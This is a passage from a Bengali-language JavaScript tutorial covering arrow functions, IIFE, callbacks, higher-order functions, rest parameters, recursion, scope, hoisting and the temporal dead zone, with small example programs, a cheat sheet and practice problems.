10 + 20 = 30

return করবে।

6.26 Arrow Function Short Syntax

যদি function body-তে শুধু একটি expression return করতে হয়:

JavaScriptCode
const add = (a, b) => a + b;

এখানে:

JavaScriptCode
return

লিখতে হয় না।

Example
JavaScriptExample
const square = number => number * number;

console.log(square(5));
Output
25
6.27 Arrow Function with One Parameter

একটি parameter থাকলে parentheses বাদ দেওয়া যায়।

JavaScriptCode
const double = number => number * 2;

console.log(double(5));
Output
10

তবে parentheses দিয়েও লেখা যায়:

JavaScriptCode
const double = (number) => number * 2;

দুটোই valid।

6.28 No Parameter Arrow Function
JavaScriptCode
const greet = () => {
    console.log("Hello!");
};

greet();
Output
Hello!
6.29 Multiple Parameters
JavaScriptCode
const add = (a, b) => a + b;

console.log(add(10, 20));
Output
30
6.30 Arrow Function with Multiple Lines
JavaScriptCode
const calculate = (a, b) => {
    let sum = a + b;
    let result = sum * 2;

    return result;
};

console.log(calculate(10, 20));
Output
60
Part 04 — Anonymous Functions, IIFE & First-Class Citizens (6.31 – 6.37)
6.31 Function-এর বিভিন্ন ধরন

এখন পর্যন্ত আমরা দেখেছি:

Function Declaration

JavaScriptFunction Declaration
function greet() {
    console.log("Hello");
}

Function Expression

JavaScriptFunction Expression
const greet = function () {
    console.log("Hello");
};

Arrow Function

JavaScriptArrow Function
const greet = () => {
    console.log("Hello");
};
6.32 Anonymous Function

যে function-এর কোনো নাম নেই তাকে Anonymous Function বলে।

JavaScriptCode
const greet = function () {
    console.log("Hello");
};

এখানে function-এর নিজস্ব কোনো নাম নেই।

Function-টি greet variable-এর মধ্যে রাখা হয়েছে।

6.33 IIFE — Immediately Invoked Function Expression

IIFE এমন function যেটা তৈরি হওয়ার সঙ্গে সঙ্গে execute হয়।

JavaScriptCode
(function () {
    console.log("Hello!");
})();
Output
Hello!

এখানে function আলাদা করে call করা হয়নি।

তৈরি করার সঙ্গে সঙ্গেই execute হয়েছে।

6.34 IIFE with Parameter
JavaScriptCode
(function (name) {
    console.log("Hello " + name);
})("Shariar");
Output
Hello Shariar
6.35 Why IIFE?

পুরনো JavaScript code-এ IIFE ব্যবহার করা হতো private scope তৈরি করার জন্য।

JavaScriptCode
(function () {
    let secret = "12345";

    console.log(secret);
})();

secret বাইরে accessible হবে না।

Modern JavaScript-এ modules এবং block scope-এর কারণে IIFE আগের মতো বেশি প্রয়োজন হয় না, কিন্তু legacy code বুঝতে এটি জানা দরকার।

6.36 Function as a Value

JavaScript-এ function শুধু function নয়, একটি value হিসেবেও ব্যবহার করা যায়।

JavaScriptCode
const greet = function () {
    console.log("Hello");
};

এখানে function-টি variable-এর value।

এজন্য function-কে বলা হয়:

Core Concept: First-Class Function
6.37 First-Class Functions

JavaScript-এ function:

  • Variable-এ রাখা যায়
  • অন্য function-এ পাঠানো যায়
  • Function থেকে return করা যায়
  • Array/Object-এর মধ্যে রাখা যায়
Example
JavaScriptExample
const greet = function () {
    console.log("Hello");
};

const anotherFunction = greet;

anotherFunction();
Output
Hello
Part 05 — Callbacks, Higher-Order Functions & Rest Parameters (6.38 – 6.51)
6.38 Function as Argument

একটি function-এর argument হিসেবে আরেকটি function পাঠানো যায়।

JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

function processUser(callback) {
    callback("Shariar");
}

processUser(greet);
Output
Hello Shariar

এখানে:

JavaScriptCode
greet

কে পাঠানো হয়েছে:

JavaScriptCode
processUser(greet);
6.39 Callback Function

যে function-কে অন্য function-এর argument হিসেবে পাঠানো হয় তাকে Callback Function বলে।

JavaScriptCode
function greet(name) {
    console.log("Hello " + name);
}

function processUser(callback) {
    callback("Shariar");
}

processUser(greet);

এখানে:

greet ↓ callback ↓ processUser()

greet হলো callback function।

6.40 Callback-এর Real-Life Example

ধরো restaurant-এ তুমি খাবার order দিলে।

Order placed ↓ Wait ↓ Food ready ↓ Notify customer

Programming-এ:

JavaScriptCode
function orderFood(callback) {
    console.log("Food ordered.");

    callback();
}

function foodReady() {
    console.log("Food is ready!");
}

orderFood(foodReady);
Output
Food ordered. Food is ready!

এটা asynchronous JavaScript বোঝার foundation।

6.41 Callback with Arrow Function
JavaScriptCode
function processUser(callback) {
    callback("Shariar");
}

processUser((name) => {
    console.log("Hello " + name);
});
Output
Hello Shariar
6.42 Higher-Order Function

যে function:

1. অন্য function গ্রহণ করে অথবা 2. অন্য function return করে

তাকে Higher-Order Function বলা হয়।

Example
JavaScriptExample
function process(callback) {
    callback();
}

process(() => {
    console.log("Hello");
});

process() একটি higher-order function।

কারণ এটি function argument হিসেবে গ্রহণ করছে।

6.43 Function Returning Function
JavaScriptCode
function outer() {

    function inner() {
        console.log("Hello from inner");
    }

    return inner;
}

const result = outer();

result();
Output
Hello from inner

এখানে outer() একটি function return করছে।

এটিও higher-order function-এর example।

6.44 Closure-এর Basic Idea

এখানে আমরা closure-এর পুরো chapter করছি না, কিন্তু function-এর সঙ্গে এর connection বুঝে রাখো।

JavaScriptCode
function outer() {

    let message = "Hello";

    function inner() {
        console.log(message);
    }

    return inner;
}

const greet = outer();

greet();
Output
Hello

outer() execute শেষ হওয়ার পরও inner() তার outer variable message access করতে পারছে।

এটাই Closure-এর basic idea।

Closure পরে আলাদা advanced chapter-এ বিস্তারিত হবে।

6.45 Rest Parameter

Function-এ কতগুলো argument আসবে জানা না থাকলে rest parameter ব্যবহার করা যায়।

Syntax:

JavaScriptCode
function functionName(...values) {
}
Example
JavaScriptExample
function addAll(...numbers) {
    console.log(numbers);
}

addAll(10, 20, 30, 40);
Output
[10, 20, 30, 40]

...numbers সব arguments-কে একটি array-এর মধ্যে নিয়ে এসেছে।

6.46 Rest Parameter দিয়ে Sum
JavaScriptCode
function addAll(...numbers) {

    let sum = 0;

    for (let number of numbers) {
        sum += number;
    }

    return sum;
}

console.log(addAll(10, 20, 30, 40));
Output
100
6.47 Rest Parameter vs Spread Operator

দুটো দেখতে একই:

JavaScriptCode
...

কিন্তু কাজের জায়গা আলাদা।

Rest

Arguments collect করে:

JavaScriptRest
function add(...numbers) {
    console.log(numbers);
}

Spread

Values spread করে:

JavaScriptSpread
let numbers = [10, 20, 30];

console.log(...numbers);

Output:

10 20 30

এটা আমরা Destructuring, Spread & Rest chapter-এ আরও বিস্তারিত করব।

6.48 Function-এর Argument কম দিলে কী হয়?
JavaScriptCode
function add(a, b) {
    return a + b;
}

console.log(add(10));
Output
NaN

কারণ:

a = 10 b = undefined

তাই:

JavaScriptCode
10 + undefined

NaN

6.49 Default Parameter দিয়ে Solve
JavaScriptCode
function add(a, b = 0) {
    return a + b;
}

console.log(add(10));
Output
10
6.50 Extra Argument দিলে কী হয়?
JavaScriptCode
function add(a, b) {
    return a + b;
}

console.log(add(10, 20, 30));
Output
30

এখানে 10a

20b

30 কোনো parameter পায়নি।

JavaScript সাধারণভাবে extra arguments ignore করে, যদি না arguments বা rest parameter দিয়ে access করা হয়।

6.51 arguments Object

Traditional function-এর ভিতরে arguments নামে একটি special object-like value থাকে।

JavaScriptCode
function test(a, b) {
    console.log(arguments);
}

test(10, 20, 30);

এতে passed arguments দেখতে পারবে।

⚠️ Arrow function-এর নিজের arguments নেই।

Modern JavaScript-এ variable number of arguments-এর জন্য সাধারণত rest parameter:

JavaScriptCode
function test(...args) {
    console.log(args);
}

বেশি পরিষ্কার।

Part 06 — Scope, Recursion, Best Practices & Mini-Projects (6.52 – 6.66)
6.52 Pure Function

একটি function যদি:

  • একই input দিলে সবসময় একই output দেয়
  • বাইরের state পরিবর্তন না করে

তাহলে তাকে Pure Function বলা হয়।

Example
JavaScriptExample
function add(a, b) {
    return a + b;
}
add(10, 20) → 30 add(10, 20) → 30

সবসময় একই result।

6.53 Impure Function

যদি function বাইরের data পরিবর্তন করে বা external state-এর ওপর depend করে, তাহলে pure নয়।

JavaScriptCode
let total = 0;

function addToTotal(amount) {
    total += amount;
}

Function বাইরের total পরিবর্তন করছে।

তাই এটি pure function নয়।

6.54 Function Scope

Function-এর ভিতরে declare করা variable সাধারণত function-এর বাইরে accessible নয়।

JavaScriptCode
function test() {
    let message = "Hello";
    
    console.log(message);
}

test();

কাজ করবে।

কিন্তু:

JavaScriptCode
console.log(message);

করলে error হবে।

কারণ message function scope-এর ভিতরে।

6.55 Local Variable

Function-এর ভিতরে তৈরি variable-কে সাধারণভাবে local variable বলা হয়।

JavaScriptCode
function calculate() {
    let result = 100;

    console.log(result);
}

result বাইরে ব্যবহার করা যাবে না।

6.56 Global Variable

Function-এর বাইরে declare করা variable function-এর ভিতর থেকে access করা যায়।

JavaScriptCode
let name = "Shariar";

function greet() {
    console.log(name);
}

greet();
Output
Shariar

Function বাইরের name access করতে পারছে।

6.57 Function Parameter Scope
JavaScriptCode
function greet(name) {
    console.log(name);
}

greet("Shariar");

name function-এর local scope-এর অংশ।

Function-এর বাইরে:

JavaScriptCode
console.log(name);

কাজ করবে না।

6.58 Function Composition

একটি function-এর output অন্য function-এর input হিসেবে ব্যবহার করা যায়।

JavaScriptCode
function double(number) {
    return number * 2;
}

function addFive(number) {
    return number + 5;
}

let result = addFive(double(10));

console.log(result);
Output
25

Step:

double(10) ↓ 20 addFive(20) ↓ 25
6.59 Recursive Function

যখন একটি function নিজেকেই call করে তাকে Recursion বলে।

Example
JavaScriptExample
function countdown(number) {

    if (number === 0) {
        return;
    }

    console.log(number);

    countdown(number - 1);
}

countdown(5);
Output
5 4 3 2 1

এখানে:

JavaScriptCode
countdown()

নিজেকেই call করছে।

6.60 Recursion-এর Base Case

Recursion-এ সবচেয়ে গুরুত্বপূর্ণ বিষয় হলো Base Case

JavaScriptCode
if (number === 0) {
    return;
}

এটা না থাকলে function নিজেকে call করতেই থাকবে এবং eventually:

Maximum call stack size exceeded

এর মতো error হতে পারে।

6.61 Factorial using Recursion

Mathematics:

5! = 5 × 4 × 3 × 2 × 1 = 120

JavaScript:

JavaScriptCode
function factorial(n) {

    if (n === 1) {
        return 1;
    }

    return n * factorial(n - 1);
}

console.log(factorial(5));
Output
120

Step:

5 × factorial(4) ↓ 5 × 4 × factorial(3) ↓ 5 × 4 × 3 × factorial(2) ↓ 5 × 4 × 3 × 2 × factorial(1) ↓ 120
6.62 Function-এর Best Practices

1. Function-এর নাম meaningful রাখো

ভালো:

JavaScript1. Function-এর নাম meaningful রাখো
calculateTotal()

খারাপ:

JavaScript1. Function-এর নাম meaningful রাখো
x()

2. একটি function ideally একটি clear কাজ করুক

ভালো:

JavaScript2. একটি function ideally একটি clear কাজ করুক
calculateTotal()

আরেকটি:

JavaScript2. একটি function ideally একটি clear কাজ করুক
validateUser()

এক function-এ সবকিছু ঢুকিয়ে না দেওয়া ভালো।

3. Repeated code function-এ রাখো

যদি একই code বারবার লিখতে হয়:

Stop! ↓ Function বানাও

4. খুব বড় function এড়িয়ে চলো

যেমন:

JavaScript4. খুব বড় function এড়িয়ে চলো
function doEverything() {
    // login
    // database
    // payment
    // email
    // UI
    // validation
    // ...
}

এর বদলে ছোট ছোট function:

JavaScript4. খুব বড় function এড়িয়ে চলো
validateUser();
processPayment();
sendEmail();
updateUI();
6.63 Real-Life Mini Project — Calculator
JavaScriptCode
function add(a, b) {
    return a + b;
}

function subtract(a, b) {
    return a - b;
}

function multiply(a, b) {
    return a * b;
}

function divide(a, b) {
    return a / b;
}

console.log(add(10, 5));
console.log(subtract(10, 5));
console.log(multiply(10, 5));
console.log(divide(10, 5));
Output
15 5 50 2

এখানে calculator-এর প্রতিটি operation আলাদা function।

এটাই clean code-এর basic idea।

6.64 Calculator with Operator

এবার function-এর ভিতরে switch ব্যবহার করি।

JavaScriptCode
function calculate(a, b, operator) {

    switch (operator) {

        case "+":
            return a + b;

        case "-":
            return a - b;

        case "*":
            return a * b;

        case "/":
            return a / b;

        default:
            return "Invalid operator";
    }
}

console.log(calculate(10, 5, "+"));
console.log(calculate(10, 5, "*"));
Output
15 50

🔥 এখানে আমরা Chapter 4 + Chapter 5 + Chapter 6 একসাথে ব্যবহার করেছি।

6.65 Real-Life Mini Project — Shopping Cart
JavaScriptCode
function calculateTotal(cart) {

    let total = 0;

    for (let product of cart) {
        total += product.price;
    }

    return total;
}

let cart = [
    {
        name: "Keyboard",
        price: 1500
    },
    {
        name: "Mouse",
        price: 800
    },
    {
        name: "Headphone",
        price: 2000
    }
];

let total = calculateTotal(cart);

console.log("Total:", total);
Output
Total: 4300

এখানে:

Function ↓ Array ↓ for...of ↓ Object ↓ return

সব একসাথে কাজ করছে।

6.66 Function-এর Complete Flow

এখন একটা function-এর পুরো lifecycle দেখো:

Function Definition ↓ Parameters ↓ Function Call ↓ Arguments ↓ Function Body ↓ Processing ↓ return ↓ Result

Example:

JavaScriptCode
function add(a, b) {
    return a + b;
}

let result = add(10, 20);

Flow:

function add() ↓ a, b ↓ add(10, 20) ↓ a = 10, b = 20 ↓ 10 + 20 ↓ return 30 ↓ result = 30
Part 07 — Comprehensive Cheat Sheet, Must Remember & Practice Lab
CHEAT SHEET 🧠 Chapter 6 — Quick Cheat Sheet
ConceptMeaning
FunctionReusable block of code
Function Declarationfunction greet() {}
Function Callgreet()
ParameterFunction-এর input variable
ArgumentFunction call-এর actual value
returnValue ফেরত দেয়
Default ParameterDefault input value
Function ExpressionVariable-এর মধ্যে function
Arrow FunctionShort modern function syntax
Anonymous Functionনাম ছাড়া function
IIFEImmediately executed function
CallbackFunction passed to another function
Higher-Order FunctionFunction নেয়/return করে
Rest ParameterMultiple arguments collect করে
ClosureFunction outer scope remember করে
RecursionFunction নিজেকে call করে
Pure FunctionSame input → same output
Local VariableFunction-এর ভিতরের variable
Global VariableOuter/global scope-এর variable
MUST REMEMBER 🔥 Chapter 6 — Must Remember (Core Patterns)

Function Declaration

JavaScriptFunction Declaration
function greet(name) {
    return `Hello ${name}`;
}

Call

JavaScriptCall
console.log(greet("Shariar"));

Function Expression

JavaScriptFunction Expression
const greet = function(name) {
    return `Hello ${name}`;
};

Arrow Function

JavaScriptArrow Function
const greet = name => `Hello ${name}`;

Default Parameter

JavaScriptDefault Parameter
function greet(name = "Guest") {
    return `Hello ${name}`;
}

Rest Parameter

JavaScriptRest Parameter
function add(...numbers) {
    // numbers is an array
}

Callback

JavaScriptCallback
function process(callback) {
    callback();
}

Return

JavaScriptReturn
function add(a, b) {
    return a + b;
}
PRACTICE LAB 📝 Chapter 6 — Practice Set

Basic Questions

1. Function কী?
2. Function কেন ব্যবহার করা হয়?
3. Parameter এবং Argument-এর মধ্যে পার্থক্য কী?
4. return কী করে?
5. console.log() এবং return-এর মধ্যে পার্থক্য কী?
6. Function Declaration কী?
7. Function Expression কী?
8. Arrow Function কী?
9. Callback Function কী?
10. Higher-Order Function কী?
11. Default Parameter কী?
12. Rest Parameter কী?
13. Recursion কী?
14. Closure কী?
15. Pure Function কী?

💻 Coding Practice

# 💻 Coding Practice

Problem 1 — Greeting Function

একটি function বানাও:

JavaScriptCode
greet("Shariar");

Output:

Hello Shariar

Problem 2 — Add Function

JavaScriptCode
add(10, 20);

Expected:

30

Problem 3 — Square

JavaScriptCode
square(8);

Expected:

64

Problem 4 — Even/Odd Function

JavaScriptCode
checkEvenOdd(10);

Expected:

Even

Problem 5 — Maximum Function

JavaScriptCode
findMax(10, 25, 15);

Expected:

25

Problem 6 — Calculator

একটি function বানাও:

JavaScriptCode
calculate(20, 5, "+");
calculate(20, 5, "-");
calculate(20, 5, "*");
calculate(20, 5, "/");

Expected:

25 15 100 4

Problem 7 — Rest Parameter

JavaScriptCode
sum(10, 20, 30, 40, 50);

Expected:

150

Problem 8 — Callback

একটি function বানাও যেখানে callback পাঠালে callback execute হবে।

Problem 9 — Factorial

JavaScriptCode
factorial(5);

Expected:

120

Problem 10 — Shopping Cart

এই data:

JavaScriptCode
let cart = [
    { name: "Laptop", price: 70000 },
    { name: "Mouse", price: 1000 },
    { name: "Keyboard", price: 2500 }
];

একটি function বানিয়ে total price বের করো।

Expected:

73500
SUMMARY 🎯 Chapter 6 শেষ করার পর তোমার যা পরিষ্কার হওয়া উচিত

সবচেয়ে important flow:

FUNCTION ↓ ┌─────────┴─────────┐ ↓ ↓ Input নেয় কাজ করে (parameters) ↓ ↓ return ↓ Output

আর JavaScript-এর function ecosystem:

Function │ ├── Declaration ├── Expression ├── Arrow Function ├── Anonymous Function ├── IIFE ├── Callback ├── Higher-Order Function ├── Recursive Function ├── Pure Function ├── Rest Parameter ├── Default Parameter └── Closure

Chapter 6-এর সবচেয়ে গুরুত্বপূর্ণ ৫টি বিষয়: parameter vs argumentreturnarrow functioncallbackhigher-order function

এগুলো ভালোভাবে বুঝে গেলে পরের chapters-এর অনেক concept অনেক সহজ হয়ে যাবে।

Chapter 07
↑ Index
Scope & Hoisting — স্কোপ ও হয়েস্টিং
Total Sections
47 Modules + Practice
Curriculum Part
Part 03 — Core Mechanics (3/3)
Core Mechanics
Lexical Scope, Closures & Hoisting
Reference Standard
ECMAScript 2026 / V8 Runtime

Scope & Hoisting — Scope এবং Hoisting

Chapter 6-এ আমরা Functions শিখেছি। এখন JavaScript-এর খুব গুরুত্বপূর্ণ একটি বিষয় হলো Scope এবং Hoisting

এই chapter ভালোভাবে বুঝলে পরবর্তীতে Closures, Modules, Async JavaScript, React, Node.js—সবকিছু বুঝতে অনেক সহজ হবে।

Part 01 — Core Scopes: Global, Function & Block Scopes (7.1 – 7.10)
7.1 Scope কী?
Scope মানে হলো—কোন variable বা function-কে কোথা থেকে access করা যাবে, সেই সীমা বা area।

সহজভাবে:

Core Rule: Scope = কোন জায়গা থেকে কোন variable ব্যবহার করা যাবে।
Real-Life Example

ধরো একটি বিশ্ববিদ্যালয়ে:

  • University-এর main gate → সবাই access করতে পারে
  • Department-এর room → শুধু department-এর মানুষ
  • Teacher's personal room → আরও limited access

JavaScript-এও variable-এর access একইভাবে সীমাবদ্ধ হতে পারে।

7.2 JavaScript-এ Scope-এর প্রধান ধরন

JavaScript-এ আমরা প্রধানত এগুলো দেখতে পাই:

  • Global Scope
  • Function Scope
  • Block Scope
  • Lexical Scope
  • Module Scope
7.3 Global Scope

যে variable কোনো function বা block-এর বাইরে declare করা হয়, সেটি সাধারণত Global Scope-এ থাকে।

Code
JavaScriptCode
let name = "Shariar";

function showName() {
    console.log(name);
}

showName();
console.log(name);
Output
Shariar Shariar

Explanation

JavaScriptExplanation
let name = "Shariar";

এটি function-এর বাইরে আছে।

তাই function-এর ভেতর থেকেও:

JavaScriptExplanation
console.log(name);

access করা যাচ্ছে।

Real-Life Example

University-এর notice board-এ যদি কোনো notice দেওয়া থাকে, তাহলে অনেক department-এর মানুষ সেটা দেখতে পারে।

ঠিক তেমনি global variable অনেক জায়গা থেকে accessible হতে পারে।

7.4 Global Variable-এর সমস্যা

Global variable বেশি ব্যবহার করা ভালো practice নয়।

JavaScriptCode
let username = "Ripon";

function changeName() {
    username = "Shariar";
}

changeName();

console.log(username);
Output
Shariar

Function-এর ভিতর থেকে global variable পরিবর্তন হয়ে গেছে।

বড় application-এ এমন অনেক global variable থাকলে debugging কঠিন হয়ে যেতে পারে।

7.5 Function Scope

কোনো variable যদি function-এর ভিতরে declare করা হয়, তাহলে সেটি সাধারণত সেই function-এর মধ্যেই accessible।

JavaScriptCode
function test() {
    let message = "Hello JavaScript";

    console.log(message);
}

test();
Output
Hello JavaScript

কিন্তু:

JavaScriptCode
function test() {
    let message = "Hello JavaScript";
}

test();

console.log(message);
Output
ReferenceError

কারণ message function-এর বাইরে accessible নয়।

7.6 var এবং Function Scope

var হলো function-scoped।

JavaScriptCode
function test() {
    var x = 10;

    if (true) {
        var x = 20;
    }

    console.log(x);
}

test();
Output
20

কারণ var block scope মানে না।

7.7 Block Scope

{ } দ্বারা তৈরি block-এর ভিতরে থাকা scope-কে Block Scope বলা হয়।

উদাহরণ:

JavaScriptCode
if (true) {
    let message = "Hello";
    console.log(message);
}
Output
Hello

কিন্তু:

JavaScriptCode
if (true) {
    let message = "Hello";
}

console.log(message);
Output
ReferenceError

কারণ message শুধু ওই block-এর ভিতরে accessible।

7.8 let এবং const হলো Block Scoped
JavaScriptCode
if (true) {
    let a = 10;
    const b = 20;

    console.log(a);
    console.log(b);
}
Output
10 20

কিন্তু বাইরে:

JavaScriptCode
console.log(a);
console.log(b);

access করা যাবে না।

7.9 var vs let vs const
Featurevarletconst
ScopeFunctionBlockBlock
Reassign
Redeclare same scope
Hoisted✅*✅*
TDZ

* এখানে hoisting হয়, কিন্তু let/const declaration initialization-এর আগে access করা যায় না।

এটা আমরা একটু পরেই বিস্তারিত দেখব।

7.10 Block Scope-এর Real-life Example

ধরো একটি company-তে:

Company │ ├── HR Department │ ├── Development Department │ └── Marketing Department

Development department-এর private variable Marketing department সরাসরি ব্যবহার করতে পারবে না।

JavaScript:

JavaScriptCode
{
    let developer = "Ripon";
}

console.log(developer);

এখানে developer block-এর বাইরে পাওয়া যাবে না।

Part 02 — Scope Chain, Lexical Scope & Variable Shadowing (7.11 – 7.19)
7.11 Nested Scope

একটি scope-এর ভিতরে আরেকটি scope থাকতে পারে।

JavaScriptCode
let university = "DIU";

function department() {

    let dept = "CSE";

    function student() {

        let studentName = "Ripon";

        console.log(university);
        console.log(dept);
        console.log(studentName);
    }

    student();
}

department();
Output
DIU CSE Ripon

এখানে:

Global Scope ↓ department Scope ↓ student Scope
7.12 Scope Chain

JavaScript কোনো variable খুঁজলে প্রথমে বর্তমান scope-এ খোঁজে।

না পেলে outer scope-এ যায়।

আবার না পেলে আরও outer scope-এ যায়।

এটাকে বলা হয়:

Core Rule: Scope Chain
Example
JavaScriptExample
let university = "DIU";

function department() {

    let dept = "CSE";

    function student() {

        let name = "Ripon";

        console.log(name);
        console.log(dept);
        console.log(university);
    }

    student();
}

department();

JavaScript name খুঁজবে:

student scope ↓ department scope ↓ global scope
7.13 Scope Chain Real-life Example

ধরো তুমি তোমার room-এ একটি mobile খুঁজছো।

প্রথমে:

নিজের Room

না পেলে:

বাসার অন্য জায়গা

তারপর:

অন্য জায়গা

JavaScript variable খোঁজার ক্ষেত্রেও একই ধরনের ধারণা কাজ করে।

7.14 Inner Scope → Outer Scope Access

Inner scope outer variable access করতে পারে।

JavaScriptCode
let x = 10;

function test() {

    let y = 20;

    console.log(x);
    console.log(y);
}

test();
Output
10 20

কিন্তু outer scope inner variable access করতে পারে না।

JavaScriptCode
function test() {
    let y = 20;
}

test();

console.log(y);
Output
ReferenceError
7.15 Lexical Scope

JavaScript-এর scope code কোথায় লেখা হয়েছে তার ওপর নির্ভর করে।

এটাকে বলা হয়:

Core Rule: Lexical Scope
Example
JavaScriptExample
let name = "Ripon";

function outer() {

    let university = "DIU";

    function inner() {
        console.log(name);
        console.log(university);
    }

    inner();
}

outer();

inner() function যেখানে লেখা হয়েছে, সেই জায়গার lexical environment অনুযায়ী সে outer variable access করতে পারে।

7.16 Important: Function কোথায় Call করা হচ্ছে সেটা নয়

JavaScript lexical scope follow করে।

JavaScriptCode
let x = "Global";

function show() {
    console.log(x);
}

function test() {
    let x = "Local";
    show();
}

test();
Output
Global

অনেকে ভাবতে পারে:

test() ↓ show()

তাই show() local x পাবে।

কিন্তু তা নয়।

show() কোথায় defined হয়েছে সেটাই গুরুত্বপূর্ণ।

7.17 Shadowing

Outer scope এবং inner scope-এ একই নামের variable থাকলে inner variable outer variable-কে shadow করতে পারে।

JavaScriptCode
let name = "Global";

function test() {

    let name = "Local";

    console.log(name);
}

test();

console.log(name);
Output
Local Global

কী হলো?

Function-এর ভিতরের:

JavaScriptকী হলো?
let name = "Local";

outer:

JavaScriptকী হলো?
let name = "Global";

কে shadow করেছে।

7.18 Real-life Shadowing Example

ধরো:

University Name = DIU Department Name = CSE

কোনো department-এর ভিতরে আবার:

Department Name = SWE

Department-এর ভিতরে জিজ্ঞেস করলে local নাম পাওয়া যাবে।

7.19 Illegal Shadowing

let এবং var একসাথে কিছু scope situation-এ conflict করতে পারে।

JavaScriptCode
let x = 10;

{
    var x = 20;
}

এটি error দেবে।

কারণ var block scope মানে না এবং একই scope binding conflict তৈরি করে।

Part 03 — Hoisting Mechanics & Temporal Dead Zone (TDZ) (7.20 – 7.30)
7.20 Hoisting কী?

এখন আসি JavaScript-এর খুব famous concept:

# 🚀 Hoisting

সহজ ভাষায়:

Core Rule: JavaScript execution শুরু হওয়ার আগে কিছু declaration-এর জন্য memory setup করে রাখে।

তাই কিছু ক্ষেত্রে declaration-এর আগে code লিখলেও JavaScript error না দিয়ে কাজ করতে পারে।

7.21 var Hoisting

দেখো:

JavaScriptCode
console.log(x);

var x = 10;
Output
undefined

এখানে error হয়নি।

Conceptually JavaScript এটাকে এমনভাবে দেখে:

JavaScriptCode
var x;

console.log(x);

x = 10;

তাই প্রথমে x-এর value:

undefined
7.22 let Hoisting

এবার:

JavaScriptCode
console.log(x);

let x = 10;
Output
ReferenceError

অনেকে বলে:

Core Rule: "let hoist হয় না।"

এটি পুরোপুরি accurate নয়।

let declaration-ও execution context তৈরি হওয়ার সময় binding পায়, কিন্তু initialization-এর আগে access করা যায় না।

এই সময়টাকে বলা হয়:

# Temporal Dead Zone — TDZ

7.23 Temporal Dead Zone — TDZ

TDZ হলো:

Core Rule: let বা const declaration শুরু হওয়ার আগের সেই সময়, যখন variable-কে access করলে error হয়।
Example
JavaScriptExample
console.log(name);

let name = "Ripon";

name declaration-এর আগে access করা হয়েছে।

তাই:

ReferenceError
7.24 TDZ Visual
let name = "Ripon"; ↑ | Declaration

Declaration-এর আগে:

TDZ

Declaration-এর পরে:

Accessible
7.25 const এবং Hoisting
JavaScriptCode
console.log(age);

const age = 23;
Output
ReferenceError

কারণ const-ও TDZ-এর মধ্যে থাকে declaration-এর আগে।

7.26 Function Declaration Hoisting

Function declaration hoisted হয়।

JavaScriptCode
sayHello();

function sayHello() {
    console.log("Hello!");
}
Output
Hello!

এটি কাজ করে।

7.27 Function Expression Hoisting

কিন্তু:

JavaScriptCode
sayHello();

const sayHello = function () {
    console.log("Hello!");
};
Output
ReferenceError

কারণ এখানে sayHello একটি const variable-এর মধ্যে function রাখা হয়েছে।

7.28 var দিয়ে Function Expression
JavaScriptCode
sayHello();

var sayHello = function () {
    console.log("Hello!");
};

এখানে সাধারণত:

TypeError: sayHello is not a function

কারণ conceptually:

JavaScriptCode
var sayHello;

sayHello();

sayHello = function () {
    console.log("Hello!");
};

Call করার সময় sayHello-এর value এখনো function হয়নি।

7.29 Hoisting Summary

var

JavaScriptvar
console.log(x);
var x = 10;

Output:

undefined

let

JavaScriptlet
console.log(x);
let x = 10;

Output:

ReferenceError

const

JavaScriptconst
console.log(x);
const x = 10;

Output:

ReferenceError

Function Declaration

JavaScriptFunction Declaration
hello();

function hello() {
    console.log("Hello");
}

Output:

Hello
7.30 Declaration বনাম Initialization

এই দুইটা একই জিনিস নয়।

JavaScriptCode
let age = 23;

এখানে:

let age

= Declaration

আর:

age = 23

= Initialization/Assignment

সহজভাবে:

Core Rule: Declaration = variable-এর নাম তৈরি করা Initialization = প্রথম value দেওয়া
Part 04 — Redeclaration, Reassignment & Mutability (7.31 – 7.38)
7.31 Hoisting-এর সময় var
JavaScriptCode
var age = 23;

Conceptually:

JavaScriptCode
var age;   // declaration

age = 23;  // initialization

Hoisting-এর কারণে declaration অংশ আগে setup হয়।

7.32 var Redeclaration
JavaScriptCode
var x = 10;

var x = 20;

console.log(x);
Output
20

var একই scope-এ redeclare করতে পারে।

7.33 let Redeclaration
JavaScriptCode
let x = 10;

let x = 20;
Output
SyntaxError

একই scope-এ let redeclare করা যায় না।

7.34 const Redeclaration
JavaScriptCode
const x = 10;

const x = 20;

এটিও:

SyntaxError
7.35 let Reassignment
JavaScriptCode
let age = 23;

age = 24;

console.log(age);
Output
24

let reassign করা যায়।

7.36 const Reassignment
JavaScriptCode
const age = 23;

age = 24;
Output
TypeError

কারণ const binding reassign করা যায় না।

7.37 কিন্তু const Object পরিবর্তন করা যায় কেন?

এটা খুব গুরুত্বপূর্ণ।

JavaScriptCode
const user = {
    name: "Ripon"
};

user.name = "Shariar";

console.log(user.name);
Output
Shariar

কারণ const object-এর reference পরিবর্তন করতে দেয় না, কিন্তু object-এর property পরিবর্তন করা যায়।

7.38 Example

এটা করা যাবে না:

JavaScriptCode
const user = {
    name: "Ripon"
};

user = {
    name: "Shariar"
};

কারণ পুরো reference পরিবর্তন করা হচ্ছে।

কিন্তু:

JavaScriptCode
user.name = "Shariar";

allowed।

Part 05 — Scope & Hoisting Combined, Golden Rules & Best Practices (7.39 – 7.47)
7.39 Global Scope বনাম Block Scope
JavaScriptCode
let name = "Global";

if (true) {

    let name = "Block";

    console.log(name);
}

console.log(name);
Output
Block Global
7.40 Function Scope বনাম Block Scope
JavaScriptCode
function test() {

    if (true) {
        var a = 10;
        let b = 20;
    }

    console.log(a);
    console.log(b);
}

test();
Output
10 ReferenceError

কারণ:

var → function scoped let → block scoped
7.41 Scope + Hoisting একসাথে

এখন একটি গুরুত্বপূর্ণ example:

JavaScriptCode
var x = 10;

function test() {

    console.log(x);

    var x = 20;

    console.log(x);
}

test();

অনেকে ভাবতে পারে প্রথম console.log(x)10 আসবে।

কিন্তু output:

undefined 20

কেন?

কারণ function-এর ভিতরের:

JavaScriptCode
var x;

hoisted হয়ে যায়।

Conceptually:

JavaScriptCode
var x = 10;

function test() {

    var x;

    console.log(x);

    x = 20;

    console.log(x);
}

test();
7.42 খুব গুরুত্বপূর্ণ Interview Question

Question:

Output কী হবে?

JavaScriptQuestion:
var x = 10;

function test() {

    console.log(x);

    var x = 20;
}

test();

Answer:

undefined

কারণ:

Function scope-এর local x hoisted হয়েছে।

7.43 let দিয়ে একই Example
JavaScriptCode
let x = 10;

function test() {

    console.log(x);

    let x = 20;
}

test();
Output
ReferenceError

কারণ local x TDZ-এর মধ্যে রয়েছে।

